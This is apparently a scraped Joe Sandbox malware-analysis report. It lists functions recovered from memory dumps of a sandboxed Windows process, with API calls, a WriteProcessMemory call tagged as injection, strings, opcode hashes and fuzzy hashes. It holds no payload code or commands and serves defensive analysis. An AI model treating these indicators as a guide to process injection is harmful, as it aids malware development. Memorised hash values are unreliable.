Source File: 0000001A.00000002.2500173208.0000000000DAA000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DAA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_daa000_windows10.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6b1d80010840633bb8c4f106edc73296cb7801a1e81c76ab6e9fe03435e6b3ad
Instruction ID: 70b42f46d5ee8bfd336db92f769ec8503d3544e758e20d68c7707701da06a3fe
Opcode Fuzzy Hash: 6b1d80010840633bb8c4f106edc73296cb7801a1e81c76ab6e9fe03435e6b3ad
Instruction Fuzzy Hash: AA616031608344DBCB24DB6CDA416AA77E5BB86300F644B2BE086CB365DB79D945CB33

Function 00D8D5D8 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemParametersInfoW.USER32(00000029,00000000,?,00000000,?,00000000,00D7F730,?,00D8CC47,00000000,00000000,00D8783C,6E6F4646,?,?,00000000), ref: 00D8D681

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 37778235410df5e2e27e13e5713b6de0d0e5c650dde221ee947484dc44bf84f6
Instruction ID: 2740b23b9697359a4438d6cc8393922945ce99f33c1d42108287209475b84ba0
Opcode Fuzzy Hash: 37778235410df5e2e27e13e5713b6de0d0e5c650dde221ee947484dc44bf84f6
Instruction Fuzzy Hash: DF415C31600248ABDB50FF78DD8AFAA33E9AB09700F1440B5B90CDB396EE319D458B75

Function 00DCB7B0 Relevance: 1.5, APIs: 1, Instructions: 44injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00DCB7F5

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DCB000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DCB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dcb000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1bd102d9b38021d0846288fdb63313cc0bd198b63639c95b7f010267bc66bdcc
Instruction ID: 82500cae2ab3cfac8424c8ef9484fb1db4d51fb18100eb004315a8f25fd0d220
Opcode Fuzzy Hash: 1bd102d9b38021d0846288fdb63313cc0bd198b63639c95b7f010267bc66bdcc
Instruction Fuzzy Hash: 6DF02B3174010E26DB144C7CAC02FEDB79ACFC2630F19436AF914C71D4E670880542A1

Function 00D8CFFC Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00000000,?,?,?,00D7F730,00D8CB5F,?,?,00000000,?,00CF93F0), ref: 00D8D036

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 5f61bfa78244d89efdd4d69a9df9932b104010c37684e37f28287ebf50b090ea
Instruction ID: fdddc8f3307d4d1f4043989069302c574696d03acec621458ddb8df8ac39cfb0
Opcode Fuzzy Hash: 5f61bfa78244d89efdd4d69a9df9932b104010c37684e37f28287ebf50b090ea
Instruction Fuzzy Hash: C8F0A0526052405B9A206A7E4CC5E7A738ACF86730F300376FA2AC72D1CA256C0607B0

Function 00CE94B0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 00CE94EB

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000CAD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_cad000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction ID: e0bbe715bca3811110881742a92ef003db1fcb23f4917bcbe1fd8e336695c67c
Opcode Fuzzy Hash: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction Fuzzy Hash: D4F0DA762047119FC310DF5CC88494BB7E9EF89259F044A59F986DB351C771E814CB92

Function 00DDE1B4 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000000,00001000,00000000,?,00DDA850,?), ref: 00DDE1CA

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 5292a1726a454128f0bad3e3b986ae7df4f1d6d171bbf6021e8b173b74069136
Instruction ID: 56bb9c67766d6cd2dabd22a94eef46ce51b0f6105dba9299fef37db45e3491d9
Opcode Fuzzy Hash: 5292a1726a454128f0bad3e3b986ae7df4f1d6d171bbf6021e8b173b74069136
Instruction Fuzzy Hash: 06D05E73A503456DEB20AF746D04B363BCC9784395F048836F80CCA650E674D940C220

Function 00DD9736 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DD9A18

Part of subcall function 00DDC0B6: __FF_MSGBANNER.LIBCMT ref: 00DDC0D9
Part of subcall function 00DDC0B6: __NMSG_WRITE.LIBCMT ref: 00DDC0E0
Part of subcall function 00DDC0B6: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00DDC12D

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 323aceba6085630cbbd5596d4d5b77c1767793af26893b7f0b52c0e9e1e2273c
Instruction ID: 57b1f1caf9a30129cf39a614246a7c15e06498e1478157ad1c79a8bec0a8ea11
Opcode Fuzzy Hash: 323aceba6085630cbbd5596d4d5b77c1767793af26893b7f0b52c0e9e1e2273c
Instruction Fuzzy Hash: 52D09722008185E1CE24FAB8DC6F837B68C8940384304202BBC4869B46EE22E409C1B2

Function 00DC5600 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DC4000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DC4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dc4000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588746909cfa64d80144b76e8fd91b7856a82ff47f490b7588349f52eb20acb1
Instruction ID: ea9029c0a3fb809d2d1478c6fb3ad14a296d762ac169b6e21d2c441f4850191f
Opcode Fuzzy Hash: 588746909cfa64d80144b76e8fd91b7856a82ff47f490b7588349f52eb20acb1
Instruction Fuzzy Hash: FD31CE790187188BC309EF5AD4600BAB7D5FB94300F50462CEED3472A2EF756467CA92

Function 011F2596 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2545064061.00000000011F2000.00000020.00000001.01000000.00000007.sdmp, Offset: 011F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_11f2000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf4d2842a17e884762e2ba3b62d4c2161b49aa09bb580ee751a4a0e5e11d6f7e
Instruction ID: f715083a31002233e32fc72270bc9542b72aaed9e2c28978d23746f008ec45ca
Opcode Fuzzy Hash: bf4d2842a17e884762e2ba3b62d4c2161b49aa09bb580ee751a4a0e5e11d6f7e
Instruction Fuzzy Hash: 2301DC31118B0D4F430DBEA8948807A3285EB96321F65862ED687C30A6DB735423C682

Function 00EDCD5C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2545064061.0000000000EDC000.00000020.00000001.01000000.00000007.sdmp, Offset: 00EDC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_edc000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141a431efda3f275782b9303e2120bd369db4d46ed3f9551b093f6bc813fa1b9
Instruction ID: 4c05fa6a51c9fac5c4c47459151aa23ac051102ac7dddda15e05ecbaea80d435
Opcode Fuzzy Hash: 141a431efda3f275782b9303e2120bd369db4d46ed3f9551b093f6bc813fa1b9
Instruction Fuzzy Hash: A8D097A2C0420307AB0C3A3418264CBB781DAA326CB20610D820386261EB380086CA57

Non-executed Functions

Function 01F5D938 Relevance: 5.1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

Strings

$, xrefs: 0210972C
', xrefs: 01F5DA11
X, xrefs: 01F5D9E1
P, xrefs: 01F5DA09

Memory Dump Source

Source File: 0000001A.00000002.2582215840.0000000001F5A000.00000020.00000001.01000000.00000007.sdmp, Offset: 01F5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_1f5a000_windows10.jbxd

Similarity

API ID:
String ID: $$'$P$X
API String ID: 0-2666944636
Opcode ID: 4e2fac74f183a0bdaeb81c39fa4a1a7caa1bcb1f63f0039fea8e759a22399ee3
Instruction ID: 4a6fb49fa2d174438a534c2e662b8c53ffa9d8ad2de20fb034e95ed038d65917
Opcode Fuzzy Hash: 4e2fac74f183a0bdaeb81c39fa4a1a7caa1bcb1f63f0039fea8e759a22399ee3
Instruction Fuzzy Hash: 6241493040CF158BC719DA2DE9DA9BBF7E5EB85311F60472ED5DB83092D3286617CA82

Function 00DDF18A Relevance: 16.9, APIs: 11, Instructions: 356COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000100,?,?,?,?,?,?), ref: 00DDF25A
_malloc.LIBCMT ref: 00DDF293
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,00000000,00DD9E02,?,?), ref: 00DDF2C6
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00DD9E02,?,?), ref: 00DDF2E2
MultiByteToWideChar.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00DDF31C
_malloc.LIBCMT ref: 00DDF355
__freea.LIBCMT ref: 00DDF3AD
__freea.LIBCMT ref: 00DDF3B6
_malloc.LIBCMT ref: 00DDF46B
_memset.LIBCMT ref: 00DDF48D
__freea.LIBCMT ref: 00DDF4D8

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc$_memset
String ID:
API String ID: 3920393152-0
Opcode ID: 78f2b261489d81dc67da15cae015f47074221d597052c3210b6fe4f0505e4557
Instruction ID: 35bbb2e4f4cbf86282dc57895059c903e7056ff1b2c3bff2492ee5e9e56f2a10
Opcode Fuzzy Hash: 78f2b261489d81dc67da15cae015f47074221d597052c3210b6fe4f0505e4557
Instruction Fuzzy Hash: 15C18B7280015AEFCF21AFA4DC818AE7BA9EF48354B19453BF946A6360D731CD91DB70

Function 00DDB99D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,?,?,00DDA861), ref: 00DDBA60
__init_pointers.LIBCMT ref: 00DDBA6A
__mtterm.LIBCMT ref: 00DDBB20

Part of subcall function 00DDB649: TlsFree.KERNEL32(00DEC65C,00DDA8F6), ref: 00DDB674

Strings

FlsFree, xrefs: 00DDB9EA
FlsSetValue, xrefs: 00DDB9DD
KERNEL32.DLL, xrefs: 00DDB9A1, 00DDB9A6, 00DDB9A7, 00DDB9B1
FlsGetValue, xrefs: 00DDB9D0

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: FreeValue__init_pointers__mtterm
String ID: FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3928193026-1030280904
Opcode ID: a6a817d6a2310d2eac4f6c13956bcc307583335e20840f2ec44ea4596386d2f0
Instruction ID: dd22009c5e8ae079ec664e6d20e0e8559c7a4aacc637bcff7b88364857e4ddd2
Opcode Fuzzy Hash: a6a817d6a2310d2eac4f6c13956bcc307583335e20840f2ec44ea4596386d2f0
Instruction Fuzzy Hash: 01318D31840391DACB11BB75EC85A1A3BA4EB54378B1A853BE510CB3F1EB75C8428B71

Function 00DE22D3 Relevance: 9.2, APIs: 6, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00DE2355
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,00DDF75E), ref: 00DE2395
_malloc.LIBCMT ref: 00DE23A5
_memset.LIBCMT ref: 00DE23CD
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,00000000,?,?,?,?,?,00DDF75E,?), ref: 00DE23E4
__freea.LIBCMT ref: 00DE246C

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc_memset_strlen
String ID:
API String ID: 3923921168-0
Opcode ID: be4d551d33c36eea7e6c63a34f385a49323da08bab55d5247cc83324d7c11a3a
Instruction ID: 10b4959cd59a7458fea595c2c6e96ae7ae77a1c03fa3125eb3c5a3ada5352564
Opcode Fuzzy Hash: be4d551d33c36eea7e6c63a34f385a49323da08bab55d5247cc83324d7c11a3a
Instruction Fuzzy Hash: 0F516F31900259AACF21AFA6DC44DFFBBB9EF99720F28411AF514A6290D7359C41CF70

Function 00DDABAA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DDAC1B
___crtGetStringTypeA.LIBCMT ref: 00DDAC46
___crtLCMapStringA.LIBCMT ref: 00DDAC66
___crtLCMapStringA.LIBCMT ref: 00DDAC8B

Strings

, xrefs: 00DDABF2

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: 4facfc0e34130c712d2ff623d8cbfbe7c870751cf2b616df665596082eb4f2bd
Instruction ID: ae8587ba7f3da10a8378874b6f466e86ccb32d4aae5ef14f71ec08e31068b31d
Opcode Fuzzy Hash: 4facfc0e34130c712d2ff623d8cbfbe7c870751cf2b616df665596082eb4f2bd
Instruction Fuzzy Hash: 3651247410479C5FDB228B2C9C94FFB7BE9DB05304F1884EAD5C68B282E2319A498F31

Function 00DE4AC0 Relevance: 7.8, APIs: 5, Instructions: 263COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00DE4BC1
__FindPESection.LIBCMT ref: 00DE4BDB

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 810000f004f94c85e018f8a0ab1f527b30ccc731e129fcd6a8504954a44001f0
Instruction ID: 8249b7f543a05f6b8c85c463f424361b7a2182b7d465692690a86f9fca022743
Opcode Fuzzy Hash: 810000f004f94c85e018f8a0ab1f527b30ccc731e129fcd6a8504954a44001f0
Instruction Fuzzy Hash: AE91A432A003998BCB14EF5ADC8076DB7B5EB84714F5A4129E815DB3A1E735ED01CBB0

Function 00DDF574 Relevance: 7.7, APIs: 5, Instructions: 170COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,00DDF75E,?,?,?), ref: 00DDF61A
_malloc.LIBCMT ref: 00DDF64F

Part of subcall function 00DE22D3: _strlen.LIBCMT ref: 00DE2355
Part of subcall function 00DE22D3: _memset.LIBCMT ref: 00DE23CD
Part of subcall function 00DE22D3: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,00000000,?,?,?,?,?,00DDF75E,?), ref: 00DE23E4

_memset.LIBCMT ref: 00DDF66F
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,?,?,00000001), ref: 00DDF684
__freea.LIBCMT ref: 00DDF69C

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$_memset$__freea_malloc_strlen
String ID:
API String ID: 574822426-0
Opcode ID: 02c6371aab659a2b11b5820a5d96bc5da52c4fcdb63fb4d00fdad98462ab4119
Instruction ID: 78ef70250cf96a068c81dee3d8c4c660c7e54301fa5728fd53b8e4e12531796e
Opcode Fuzzy Hash: 02c6371aab659a2b11b5820a5d96bc5da52c4fcdb63fb4d00fdad98462ab4119
Instruction Fuzzy Hash: E2516C7250025AAFDF10AFA4DC81DAE3BA9EB14354B18443BFA06D7360D771DD608BB0

Function 00DE4009 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00DE4031

Part of subcall function 00DE3921: __getptd.LIBCMT ref: 00DE392F
Part of subcall function 00DE3921: __getptd.LIBCMT ref: 00DE393D

__getptd.LIBCMT ref: 00DE403B

Part of subcall function 00DDB7E6: __amsg_exit.LIBCMT ref: 00DDB7F6

__getptd.LIBCMT ref: 00DE4049
__getptd.LIBCMT ref: 00DE4057
__getptd.LIBCMT ref: 00DE4062

Part of subcall function 00DE39C6: __CallSettingFrame@12.LIBCMT ref: 00DE3A12

Part of subcall function 00DE412F: __getptd.LIBCMT ref: 00DE413E
Part of subcall function 00DE412F: __getptd.LIBCMT ref: 00DE414C

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3174811152-0
Opcode ID: 00718d0e68132253fd1dc26ac8ec86370d79eb46a5bc2db11c5e977857a907f3
Instruction ID: cd598a2afd745ad6454b8920596fd8e949f781c0d581536c823e2a1c03338dd3
Opcode Fuzzy Hash: 00718d0e68132253fd1dc26ac8ec86370d79eb46a5bc2db11c5e977857a907f3
Instruction Fuzzy Hash: 4511E471C0434AEFDB00EFA4C985AAD7BB0FF04314F11806AE814A7252EB789A119F70

Function 00AD8494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 00AD84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,00AD8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 00AD84F7

Strings

GetLogicalProcessorInformation, xrefs: 00AD84A0
kernel32.dll, xrefs: 00AD84A5

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_ad1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 4530c332cd549a485110a2ce9b79bb96940393db82cbc586c8bf7026f35ed180
Instruction ID: 3b7bec0fde5e98bc8a64dab64e5f0f55e4c4f3466cb038813985b86e291e5fb6
Opcode Fuzzy Hash: 4530c332cd549a485110a2ce9b79bb96940393db82cbc586c8bf7026f35ed180
Instruction Fuzzy Hash: 9E11B2B1D44208BFEB10EBA4EE42B6DB7E8EF04B10F2444A7E40692381DF399A80C615

Function 00AD8492 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 00AD84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,00AD8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 00AD84F7

Strings

GetLogicalProcessorInformation, xrefs: 00AD84A0
kernel32.dll, xrefs: 00AD84A5

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_ad1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 1e656101392fb9e3823d893838b269b172fbbffbf9b641bbf4f3e5127c996ed9
Instruction ID: 94edd6890efd377b01cd5041b6957d3daef5ef0a07bfb068d222d860e62fa5fe
Opcode Fuzzy Hash: 1e656101392fb9e3823d893838b269b172fbbffbf9b641bbf4f3e5127c996ed9
Instruction Fuzzy Hash: 7E01B5B0D44208BFEB10EBA4EE42A6DB7E8EF04B10F104567F416D7391EE79DE808614

Function 00ADC860 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 00ADC871
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 00ADC8CF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 00ADC92C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 00ADC95F

Part of subcall function 00ADC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,00ADC8DD), ref: 00ADC833
Part of subcall function 00ADC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,00ADC8DD), ref: 00ADC850

Memory Dump Source

Source File: 0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_ad1000_windows10.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: c9c88f86ea3451557c1d0802225e59a3c9d9c7622679081cf5d1f4ff987b1866
Instruction ID: cbfb789c8842579ce11f35d3d915ee942519bbfefa3273eae2f4765b2bd2e4c5
Opcode Fuzzy Hash: c9c88f86ea3451557c1d0802225e59a3c9d9c7622679081cf5d1f4ff987b1866
Instruction Fuzzy Hash: 8B315A70E0021E9BDB10DFE8C895AAEB7B8FF04320F404266E566E7391DB749A04CB90

Function 00DDB59A Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00DDB635), ref: 00DDB5AC
TlsGetValue.KERNEL32(00DEC658,?,00DDB635), ref: 00DDB5C3

Strings

DecodePointer, xrefs: 00DDB5EE
KERNEL32.DLL, xrefs: 00DDB5D3, 00DDB5D8, 00DDB5E3

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: 3136b23a42bb024e745d37c7689a5889e0022977e277cd961263bd0fbe642121
Instruction ID: ffd358f5f39bcf5b4e2f5c3ed42d1edc693ed3b69ad538ca8a28b0f220192295
Opcode Fuzzy Hash: 3136b23a42bb024e745d37c7689a5889e0022977e277cd961263bd0fbe642121
Instruction Fuzzy Hash: F701D420544795EBDB21AB7AEC45E9B3F988F023B871D0667FD04CB3A1DB21C90186F0

Function 00DDB51F Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00DDB598,00000000,00DE273C,00DEF6D0,00000000,00000314,?,00DE0261,00DEF6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00DDB531
TlsGetValue.KERNEL32(00DEC658,?,00DDB598,00000000,00DE273C,00DEF6D0,00000000,00000314,?,00DE0261,00DEF6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00DDB548

Strings

KERNEL32.DLL, xrefs: 00DDB558, 00DDB55D
EncodePointer, xrefs: 00DDB573

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: 856051737404de8f13b99ad82ea5a1a6f969cf77f6c04d6c2450d07a0849cf42
Instruction ID: 50145bd1c3cc2baaa0d8501f9bc6961e42b7bc6e7a3c8fe8155674cfa34c11c4
Opcode Fuzzy Hash: 856051737404de8f13b99ad82ea5a1a6f969cf77f6c04d6c2450d07a0849cf42
Instruction Fuzzy Hash: 1EF04F30500256EA8B11BF39EC409AA3BA89B053B475A0167FD18DA7A0DB31DD4187F0

Function 00DE3D9A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DE3DC8
__CallSettingFrame@12.LIBCMT ref: 00DE3E18

Strings

j, xrefs: 00DE3D9E

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 897189d18653c473b9fdc1a94212da5d9a7baed4e9301db53569ff7429da2283
Instruction ID: 0a084e2395875ab7e38f10a51a342539080bda033fc2011f1c23e6e622efd3a7
Opcode Fuzzy Hash: 897189d18653c473b9fdc1a94212da5d9a7baed4e9301db53569ff7429da2283
Instruction Fuzzy Hash: BD118271904291DFCB12EF6AC8483ACBFB0FF05714F18468AE4946F183C375AA51CBA1

Function 00DE43B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00DE43C9

Part of subcall function 00DE4324: ___BuildCatchObjectHelper.LIBCMT ref: 00DE435A

_UnwindNestedFrames.LIBCMT ref: 00DE43E0

Strings

csm, xrefs: 00DE43C5, 00DE43DA, 00DE43ED, 00DE440B, 00DE441B

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm
API String ID: 3487967840-1018135373
Opcode ID: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction ID: 92f4a23a8a68ffc4756aee0c8bd14aed92ce9e66b2531cc699b6563f10b9cfff
Opcode Fuzzy Hash: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction Fuzzy Hash: A2014231000189BBCF12AF62CC46EEA3FAAEF08341F048014FD0816121D772E9B1EBB4

Function 00DE412F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DE413E

Part of subcall function 00DDB7E6: __amsg_exit.LIBCMT ref: 00DDB7F6

__getptd.LIBCMT ref: 00DE414C

Strings

csm, xrefs: 00DE415A

Memory Dump Source

Source File: 0000001A.00000002.2542568777.0000000000DD9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00DD9000, based on PE: false

Joe Sandbox IDA Plugin

